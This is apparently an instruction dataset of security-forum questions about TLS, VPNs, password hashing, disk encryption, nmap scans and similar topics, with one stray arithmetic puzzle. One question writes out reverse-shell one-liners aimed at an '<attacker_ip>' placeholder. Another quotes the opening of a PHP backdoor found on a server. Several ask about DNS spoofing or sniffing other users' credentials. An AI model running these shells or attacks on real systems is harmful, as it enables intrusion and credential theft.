instruction
stringlengths
24
27.2k
I type iw list and these are the supported modes: Supported interface modes: * IBSS * managed When I run hostapd hostapd.conf I get this: Failed to create interface mon.wlan0: -95 (Operation not supported) Could not set channel for kernel driver wlan0: Unable to setup interface. Could...
A recent report on page 18 states that: [black hats] have even leveraged [systems administration tools] as a means of maintaining additional persistence via setting “sticky keys” for RDP sessions. How is sticky keys abused in this manner, and how do I detect or prevent its exploitation? Is setting a group policy to d...
I have a desktop computer at work running Windows 8.1 Pro. For logging in I use a domain account and I have logged in with my Microsoft account to get access to my Onedrive and syncing of email accounts and such things. I'm the only one using the computer. Everything works the way I want, but I'm wondering a bit about ...
I am looking at the secure disposal of old flash drives, and one of the standards I have come across says that they should be overwritten three times. Why is one time not enough? I assume doing the process three times is more expensive than doing it once.
I am trying to increase my understanding of data encryption, and I was wondering this. It would be really nice if there were any good tools to test how secure my encrypted data is, for example how long it would take for an average rotten apple spoiling the barrel to decrypt it.
I recently installed Bitlocker on my Windows 8.1 machine, using only a password. I was thinking of getting something other than just a password for my storage drive, something physical, like a USB, SD Card, or Smart Card! I've asked and poked around, and people claim the following: When given the choice of a Smart Car...
I am on a penetration test at the moment, where LM/NTMLv1 hashes are disabled. I have captured a number of NTLMv2 hashes via NBNS spoofing, however was unable to crack them after running them through rainbow tables. I was able to crack some credentials due to the password being the same as the username, however I have ...
We have our web servers running in AWS EC2. We have about 30 API Keys/passwords/etc (sensitive data) which is set in the environment for our app to use. Whenever we deploy, we start a new server instance, pull down our repo and build our application. I need a way to get the keys down to the server to put into the envir...
First of all, I'm sorry if this has been discussed many times. I read many posts about PCI compliance but there are some small things I'm not quite sure about. Suppose there is Mr. GoodGuy, an honest software developer. He develops the main software architecture, and the company trusts him and gives all the access he ...
I'm studing a case that I have a RESTful backend (php-based) and a hybrid HTML+JS+PHP front-end in different subdomains: backend.example.com <-- A RESTful API to provide some XHR requests. *.example.com <-- Any other domains on the same server that use the same PHP Session. A way to initiate a persistent session i...
İ have an outdoor in my shop and distributing my network to customers using mac filtering opition.. one of my neighboor got a weak signal....so, he bought a wirelss repeater to recieve a better signal to use it on his mobile. so should i put his repater mac or İ must establish a bridge point to point connection? As...
According to http://en.wikipedia.org/wiki/Secure_Socket_Tunneling_Protocol there are two phases, SSL phase and PPP phase. SSL phase establishes a session and PPP also creates a link (which I understand to be a session) I am unable to find the difference between the two phases. It seems these phases are one and the sa...
Been working with TLS DHECE certificate based handshake with a FreeRADIUS server and WPA_supplicant - both running OpenSSL 1.0.1j FIPS. Afer watching the Wireshark traffic, I notice that the client sends a Client Hello using TLS 1.0. I beleive that the ECC certificates have an issue with OpenSSL / TLS 1.0. I have teste...
What are the security risks associated with PDF files? There is, of course, the general risk associated with any type of file: that whatever application is used to read it will have a bug that can be exploited by certain byte sequences within the file, thus crashing the system, or worse, executing arbitrary code. That'...
Is there such thing as a firewall with packet inspection? Most outbound firewalls simply prompt the user with "program.exe is trying to connect to the internet - allow or deny?". I find it impossible to make an informed decision without seeing the actual content being transmitted. Ideally what I'd like is an outbound f...
It is common practice to prevent the BEAST attack using the following ciphers in Apache SSL configuration: SSLCipherSuite RC4-SHA:HIGH:!ADH Unfortunately, RC4 has been found to be flawed and it is now recommended to avoid its use. From a Nessus report: SSL RC4 Cipher Suites Supported The remote host supports the use ...
Everyone says not to click on "malicious URLs". Are there any attacks where the URL itself, rather than the resource accessed by the URL, is the attack vector?
Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <port_b> Though example below of reverse shell backdoor doesn't need two listener, it's just one required. /bin/bash -i > dev/tcp<attacker_ip...
recently, we are seeing some From:, To:, Cc: addresses being rewritten from user1@companyA.com to: https://3c-lxa.mail.com/mail/client/mail/mailto;jsessionid=36725F1B090973DAF815646A3B096862-n1.lxa15a?to=user1%40companyA.com i've checked RFC 822, and 2822 and the above does not seem to be valid address specification fo...
Let's say, there is an .NET application on a windows 7 host where I have administrator's access rights. The application works with remote MS-SQL server which I don't control, it also seems that the application in question uses integrated security to protect its traffic during transmission. I don't have knowledge on i...
I read this article, and the whitepaper by security researcher Oren Hafif which mentions the following salient points: RFD, like many other Web attacks, begins by sending a malicious link to a victim. But unlike other attacks, RFD ends outside of the browser context: The user follows a malicious link to a truste...
Is the ASP.NET .ASPXAUTH cookie value always the same for a given user?
I'm working on an analysis of the full OpenPGP keyring (ca. 3.8 million keys). I imported all keys to a local instance of hockeypuck (keyserver implemented in go). Hockeypuck uses a PostgreSQL database and I'm working with hockeypuck's database. At the moment I'm not sure how to figure out whether a key is revoked. Acc...
The use case is analogous to accessing a safe box in a bank. There is a per-user key, unique for each user, either generated by the system or hashed from the user's password. And there is a system-wide, master key for all the users. Both keys are required to be able to decrypt data. What's the best way to implement ...
I found a strange file on one of my servers containing the code below. The file was last modified one week ago at 1.40AM in the night, which is a bit odd. I have done lots of changes on this site lately, but I can't remember uploading this file: <?php if(md5($_SERVER["HTTP_USER_AGENT"]) !== "49de371511c1de3bde34b0108ec...
We're deploying ipsec on embedded devices and getting catastrophic performance from the diffie hellman 2048 group in ike.. afterwards the shared securet is used for 3des, sha1. ipsec negiation is well over 20s for a single tunnel.. the network stack is using openssl to the negotiation Am I correct to say that 1024 ...
I have two separate AWS accounts and I would like to a Vuln scanner/IDS on one to scan another. One environment is a regular AWS account and the other is in AWS Gov Cloud. Due to limitations within Gov Cloud I was only able to install my IDS on the regular AWS account. I would like to scan my machines within the Gov C...
we're in the process of replacing certificates with SHA1 hash due to Google's move to let them appear less secure in Chrome. The replacement certificates use a different intermediate CA than the ones we're currently using, but the same root CA. During testing we noticed that our SSL clients would fail to validate the c...
I am having a discussion with a few coworkers about the best way we can handle SSL certificates within our organization. We have some internal applications that are not using any SSL certificates at all. My thought is this: Create an offline, trusted, root CA in a VM Use this CA to issue certificates for our applicati...
We are planning to submit a project to our managers about scanning all our office papers and deal with PDF instead of physical-format documents. For doing that, we are loooking for some support, if there is any, for claiming that scanning documents is a good practice that is aligned to ISO/IEC-27001 policies. We know t...
Does anyone know of any recent (past year or two) research into email obfuscation/munging? All I can find are tests done five to ten years ago. I'm trying to decide whether it's something still worth doing.
Is it fundamentally possible to validate that an unmodified version of your client connects to your server? I was just thinking about the idea of having my client-side app hash its own source code and sends that as a key to the server with any requests as proof that it's unmodified, but that's silly because anyone coul...
I'm donating an old Windows XP laptop to a school. The machine will spend its golden years doing only one thing - a process that consists of just three steps: Recording lectures and discussions with MP3 recorder software (the app is MP3myMP3). Uploading these recordings over an unsecured wireless connection to a pass...
I've just stumbled upon something pretty weird, at least for me at this moment. When i've finished setting up my openBSD 5.5 server, along with the isc-dhcp43-server port. I tried to see if i could find this service by doing a nmap-scan from a client. But somehow the command listed below fails to find the open port (67...
Are non-browser applications which do not contain an embedded browser, and merely make REST API calls over HTTPS, vulnerable to POODLE? And if not, is it unnecessary to disable SSL in such applications?
I'm building special extension ( on domain B ) to the present e-commerce hosted on a domain A. The goal is to redirect user from A to B and back. Similar to technique where user leaves e-commerce site to the credit card payment web interface and then redirected back. Both domains are secured with SSL/TLS. User registe...
Imagine having a couple of hundred of embedded devices in the field that need to be remotely managed over SSH or HTTPS. These embedded devices are exposed on the internet but are installed at secure locations. They are put in an enclosure that cannot be accessed by unauthorised personnel. The people that require remote...
Let's assume that a vulnerabled process is set up with an ASLR and DEP against all the imported modules used in this process and there is no way to find a module that is aslr free.. More over, the process is not used by JIT so JIT Spraying is out of scope as well as the heap is not used to cause a buffer overflow(it's ...
I'm trying to setup a keychain on Apache Tomcat that contains a server certificate that was signed by a custom root ca certificate. (not sure if custom is the right word here, but it's a root certificate that I created myself and that I want to trust). The idea behind this is that all certificates signed by this CA sho...
I admit that I know very little about torrents. There seems to be very little point in encryption them as an ISP can detect the torrent protocol and a user might then have some explaining to do (which a search of their PC might make difficult). My question (which shows how little I know of torrents) is this - for HTTP ...
First of all, my aim is not to do any illegal things. What does a person need (environment, tools) to catch incoming or outgoing frames from any other person's device which is in the same network? For example, sending login information to a server and I want to catch these frames. What capabilities are needed for this?...
I am helping a friend install OneNote 2013 64-bit on their Windows 7 (64-bit, SP1) system. We went to the official Microsoft OneNote website, www.onenote.com, clicked on 'Windows' (just to the right of 'Get OneNote for free on all your devices'), then clicked on 'Other download options' towards the bottom of the page. ...
I am trying to intercept SSL traffic from my Android app to test the security. I am using certificate pinning in the hopes I can prevent people from snooping. I have tested by configuring ProxyDroid to route traffic through my proxy, for which I have used both Fiddler and Charles. However, I get different results with ...
I got a Microsoft Sculpt keyboard, as it seems to be a small improvement over the much loved Ergo 4000. (What I'd give to have an Ergo 4000 with CheryMX Blues...) On various sites, they have this one snippet: Proprietary 2.4 GHz with 128 bit AES encryption Anyone knows what this actually means? Does each keyboard/rec...
I've been trying to grasp how Protonmail could work. From what it gather, it works like this: When you signup, you create an account password and a mailbox password. A PGP private/public key pair is made using the mailbox password. When you log in, you enter the account password to verify your identify, then your encry...
I have apache behind nginx on my webserver. Today my apache stops answering to requests. Investigations shows this situation: Number of apache processes grows more that 500 but MaxChildren=256 in config (I have mpm_itk, also tried mod_prefork). server-status shows that 256 of processes were busy and near all of them ...
I'm doing a project for my high-school and I'm trying to get the best security for my network. I've made almost everything in my access-point configuration and I have only 3 tcp/ports open on my AP: (Let me show you the nmap scan:) 22/tcp open ssh 53/tcp open domain 8081/tcp open blackice-icecap So, let's focu...
We have a campus Wi-Fi at my university and we authenticate through a log in page which to me seems like we are using a RADIUS server. Every time the page loads my browser warns me that the certificate(s) being used are expired/not valid. Is there any way to capturer the authentication data (login and password) off the...
Is md5(sha1(pass)) more secure than md5(pass)? For example in case of sqli when an attacker can't get our hashing schema, brute force or dictionary attack would be much less efficient. Am I right or is it pointless?
I posted this question over on Crypto.SE, but didn't get any takers and thought it might be more suited for this site as it were, so I'm cross posting it here. I was recently looking through the Mac OS X 10.10 source code and noticed that it has a Kerberos client, and in addition the bastion of all human knowledge tha...
I came across a question You are the network administrator for your company. You have deployed Windows Server 2008 on all server computers in your company. You have deployed the Network Policy and Access Service role on a Windows Server 2008 R2 server named SRV_NPS. You need to configure SRV_NPS as a virtual pri...
Let's say that we have our computer inside the local network. Our local network is connected to the Internet by AP+Router that connects to the router in other network which is connected to the ISP. Now, I'd like to know if there is any chance that we can listen to the traffic between AP+Router and Router(in other netwo...
yesterday I tried going to several websites but an "untrusted certificate" warning popped up several times. Eventually it went away. I am the latest version of Mozilla Firefox. I also connect to the wifi through my phone which has a Chrome browser. It too popped up with a very similar message. Any reason why this ...
I have currently been working in an environment where I am connected to a WPA2-Enterprise network requiring me to enter my username and password for the network whenever I connect. I have been asked to do some security analysis and have come across a couple of issues. When I connect to the network and execute a quick...
While setting up the IPtables rules for a new server, I set up Postfix and send an email to try it out. To my surprise the email arrived without me declaring a rule for the port in IPtables. Additionally, I am using SquirrelMail and I had to make a rule specifically for it to being able to connect to using IMAP: -A IN...
Between the PHP-as-cgi-bin problem, and shellshock, I've seen 4 or 5 different Perl scripts that, when run, purport to make your machine part of some scary, heinous botnet. What, specifically, would be the problem if you went through the Perl script, defanged it so that any eval or shell out or TCP or UDP or HTTP flood...
This might sound broad -- but it has to be considering the details are truly unknown. Context: Our university (and many more) have begun rolling out mandatory webcam recording for certain portions of the course. This has been sprung on us mid course (and we have no exit option; we must either comply with some of these ...
which scheme is the better one in your opinion? I know that both are secure but which is better one? I know that digested passwords are very difficult or even impossible to decrypt. Thanks for your comments
A friend asked about putting some of his data on Microsoft's OneDrive. I did some research, and what I learned seems very surprising. It appears that all the user data on MS OneDrive is store completely unencrypted (it is only temporarily encrypted during transfer). The only "security" is trusting that whomever they h...
How many 'random' characters should my iCloud password be if it were going up against the BEST hackers and the best hacking software?
I am designing a system which requires access control via a strong password and for that purpose will use a password generation algorithm A that produces a strong password of length L >= 32. The system would check for the password and, if the password is incorrect in several consecutive attempts, block the user from fu...
Recently, CVE-2014-3704 was in the news. This vulnerability allows attackers to execute SQLi without the need of being logged in. However, I've looked to the available exploits, and I found only exploits that make use of the login form. Does this mean that when the access to the log in field is restricted (IP white lis...
I've just realized there was a girl that asked someone to hack my computer and also my telephone (that's why WhatsApp was working strange). Right now I'm trying to protect myself at least on my computer. I'm trying to keep track of my network to understand any pattern despite the common packages like launchd, spotify a...
For example, I sent a message to Ardi and encrypted it with Ardi's public key. Ardi must decrypt the message with his private key. How can Ardi's private key be obtained in PKI without anyone else knowing? Thank you in advance for you answer.
I've got the Honeyd honeypot in one virtual machine (kali) and nmap in another (ubuntu), the config file looks like this: create default set default default tcp action closed set default default udp action closed set default default icmp action open create windows set windows personality "Microsoft Windows XP Professi...
I am located in Venezuela right now, and for the whole weekend have been unable to access grubhub.com and seamless.com. Finally, I tried using the Tor Browser and got access. The same thing happened in January when I tried to access the police department's website in a New York State county when I was abroad. Is this a...
In that paper: http://www.delaat.net/rp/2011-2012/p14/report.pdf[1] is reported that USB OTG can be used to have direct DMA memory access and as a consequence have access to all the content of the memory of a device/computer. I would like to know more about that attack vector. Any idea about where can I find more infor...
My friend Paul set me this arithmetic puzzle: To make 21 from the numbers 1, 5, 6, 7. You can use the operations add, subtract, multiply, divide as well as brackets. You must use each number once. After I solved it myself, I set the puzzle to another friend Ollie. He thinks it's impossible. How can I prove otherwise ...
I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 is running the lighttpd software for accessing the AP remotely. It wouldn't be anything special, but actually I did an nmap...
I've looked at a lot of VPNs, and "what's my ip address" sites confirm that outsiders can't tell where I really am when I'm using them, but I haven't been able to get my own WiFi yet, so I don't know what privileges they have. Can they tell that a proxy server is being used by their network, even if the person using it...
I am looking to encrypt a few drives of mine, and my ONLY interest is security. It is OK if my VeraCrypt volumes are not compatible with TrueCrypt, and vice versa. There is a lot of talk about "TrueCrypt is dead" and it seems there are two forks out there now gaining momentum. The one more interesting to me is VeraCr...
When running an NMAP scan of my internal network (192.168.1.0/24) from my Mac, NMAP sees all hosts as live. It also believes there is a port 80 http service running on every IP when I do not have 254 hosts configured on my network. Although oddly enough, telnetting to any IP on port 80 does respond with a connection,...
I've got the following situation: A web server located in a DMZ receives file uploads from web browsers. The uploaded files are stored on the web server's file system. In the next step, these files must be forwarded to another server (let's call this the internal server) in the internal network. For the last step, the ...
Is it possible to detect whether or not a visiting computer is using OpenVPN to tunnel from a remote location? I know that through packet inspection I can determine an OpenVPN connection between the end-user computer and the OpenVPN server regardless of port, but what about detection of the end-user computer using Ope...
Open Whisper Systems claims that its TextSecure messaging is end-to-end encrypted, but at the same time there are now some rather serious allegations of how it might be betraying its users. If I understand it correctly, it seems they use a central server (or something similar) and therefore might store (and pass on if...
Has anyone come across a 2.5 SSD or HDD that has a physical read-only switch similar to this? Or an enclosure that can render a hard drive read only?
I am learning Burp Suite(Free Edition v1.6). I have set it up with the default settings. The proxy listener is listening to 127.0.0.1 on port 8080 and Certificate option is set to 'Generate CA-signed per-host certificates'. I am using Firefox 33.0.2 and have configured the proxy settings appropriately. When I try to br...
I want to implement an HTTPS client using pure C. I have implemented an HTTP client, and it works just fine. My question is: I know the HTTPS protocol does some kind of negotiation to announce what ciphers etc. it supports to the peer. Is it possible to announce that it supports no ciphers, i.e.: like a null HTTPS sess...
I'm trying to understand the CIA triad. I read that all three parts of the triangle exclude each other, but I don't understand why you can't have full integrity and full confidentiality? I figure you get integrity with encryption and maybe some other restrictions, but how does that hurt confidentiality? Thanks.
Tor network is considered to be a main tool for achieving network anonymity. But it is of common knowledge, that Tor was created by programmers in US Navy. Yet the main "spy" on the net is considered to be NSA, another "department" in US Government. What are the reasons to believe that Tor doesn't just log all the conn...
Note: this is a cross post from my question on SO. Feel free to keep the one in the more relevant location and close the other. We have a rails app which will be deployed on torquebox/jboss. (This in a way does not matter too much for the question as it would apply to any Web app, not just a Rails one.) It retrieves ce...
As the question already states, I'd like to know if the dh1024.pem file, generated by ./build-dh in openvpn, is dependent on the ca.(crt|key) file. The reason was that I needed to ./clear-all the keys, but kept the dh1024.pem file open in an editor, and re-saved it after clearing the keys. Then I went on with creating ...
Are authentication mechanisms based on UNIX domain sockets (Linux) secure? And more specifically, are the respective MySQL and PostgreSQL implementations on Linux secure? The background for my question is: I want to get rid of having to manage all the database user passwords used by various web applications when access...
https://en.wikipedia.org/wiki/HTTP/2 Earlier, encryption method TLS 1.2 or greater was planned to be mandatory as part of the protocol. However, in lieu of consensus for mandatory TLS, an optional unencrypted mode exists in addition to required support of an encrypted mode. Some implementations, such as Firef...
https://en.wikipedia.org/wiki/HTTP/2 I know that a HTTPS connection provides: Authenticity: a website that I'm visiting is the real website that I intended to visit. Integrity: the data that is sent between the two endpoint is not altered Encryption: the data that is sent between the two endpoint is encrypted The q...
Four years ago, I discovered that an applet on my college's website sends SQL queries directly to a server application. The databases contain nominal and personal information about students and grades, and possibly more (SSNs?), but I'm not sure as I haven't tried anything, because I'm a good person. In December 2010, ...
The question is not professional, but what I'm trying to say is... Is there any way to inject or force the DNS server to attach/change an IP address for some site. For example, I'm running an apache on my machine and I have my sniffing website on it. I'd like to know how to attack the DNS which is going through port 53...
I recently discovered nmap and pointed it at my router out of curiosity. It found that ports 3333 and 5555 are open but doesn't recognise either service. I investigated and found: I can successfully make TCP connections on both ports. On port 3333, after I connect the router sends '0NTP00-00-00MAC00-00-00-00-00-00'. N...
There are similar question about how to prove YOU sent an email, but I want to know if it is possible to prove a 3rd party sent an email to me. An individual sent some very threatening emails to my company, enough to warrant providing the email copies to authorities. Now, this individual is claiming he did not send the...
This morning i received this funky looking email from Cerys Evans about a private message he sent my way. First and foremost I want to mention the lack of design talents this attack employed and imagination. The member id of 16666 was immediately suspicious. here is what I did to backtrack the attack.
It seems that one of the weak points in LUKs encryption is that the LUKs header can be a single point of failure if you do not create a backup header for it. My question is: What methods of securing your backup LUKs header do you take to ensure it is not recovered by someone else? Possible options that come to mind for...
I building an online banking service in ASP.NET and my objective is to implement all possible security measures. Currently at database level I am using RES 2048 bit encryption to encrypt database columns that contains confidential data. Also I am planning to use SSL on my network. I am protecting front end from CSRF a...
Testing for Poodle attack vulnerability. Also, I could sniff the packet from wireshark and see the TLS version. I want to find if there is any other way available by which I can test this?
I have been making use of Burp Suite's active scanning functionality for some of my recent web application assessments and I had some questions about the active scanners ability to remove urls from the scan queue that have particular characteristics such as being a media response or having a certain file extension. Oft...
My bank provides online banking facility like most of the banks these days. On the web they have Partial Password Authentication. Although I don't really believe in PPA providing extra security but that could be wrong. My Alarm bells started ringing when today I downloaded their mobile banking application for my smartp...
In my case, the static code analysis tool shows the issue when it founds the code like this: boolean status = file.delete(); It issues the security vulnerability saying the validation is required. On further investigation, I found that Java's file manipulation methods on failure returns a value instead of throwing a...
In an iPhone app that utilizes plain text (unencrypted) XML as the contents of its http POST requests over https to the app server; how would someone be able to discover the "format" of the plain text XML requests inside the packets sent over https protected channel? Please note, the attacker has access to the applicat...
Example: Bob generates a key pair for this example. Bob registers at example dot com where he provides his public key. When Bob will try to log in, example dot com will ask him to sign a random string of a few characters with his private key. If the signature is successfully verified, it is indeed Bob (or Alice who s...
I would like the ability to look at Snort rules that were written in specific date ranges only given a collection of .rules files from either Sourcefire or Emerging Threats. Is this possible?
I have a problem. I am creating a mysql user, and mysql will store the hashed password in user table. The problem is I dont know how to get the password back. As it is hashed, we can't get it back. If the user forgets their password, then we can't get it back. Then we have to reset the password again. I thought to save...